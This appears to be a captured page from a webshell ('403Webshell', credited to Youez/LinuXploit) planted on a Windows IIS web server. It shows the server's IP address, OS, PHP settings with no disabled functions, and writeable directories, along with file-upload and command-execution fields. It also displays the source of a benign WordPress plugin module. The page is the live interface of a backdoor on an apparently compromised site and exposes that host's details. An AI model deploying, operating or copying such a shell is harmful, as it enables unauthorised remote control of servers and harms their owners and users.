403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.141
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/6pocketz/wp-content/plugins/angie/modules/plugin-manager/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/6pocketz/wp-content/plugins/angie/modules/plugin-manager/module.php
<?php

namespace Angie\Modules\PluginManager;

use Angie\Classes\Module_Base;


if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

use Angie\Modules\PluginManager\Components\Plugin;
use Angie\Modules\PluginManager\Components\Plugin_Searcher;

/**
 * Plugin Manager Module
 *
 * Provides access to WordPress native plugin REST API endpoints
 */
class Module extends Module_Base {

	/**
	 * Plugin controller
	 *
	 * @var \Angie\Modules\PluginManager\Components\Plugin
	 */
	public $plugin;

	/**
	 * Plugin searcher
	 *
	 * @var \Angie\Modules\PluginManager\Components\Plugin_Searcher
	 */
	public $plugin_searcher;

	/**
	 * Get module name.
	 *
	 * @return string Module name.
	 */
	public function get_name(): string {
		return 'plugin-manager';
	}

	/**
	 * Constructor
	 */
	public function __construct() {
		$this->init_rest_controllers();
	}

	/**
	 * Initialize controllers
	 */
	private function init_rest_controllers() {
		$this->plugin = new Plugin();
		$this->plugin_searcher = new Plugin_Searcher();
	}

	/**
	 * Check if module is active
	 *
	 * @return bool
	 */
	public static function is_active(): bool {
		return current_user_can( 'use_angie' );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit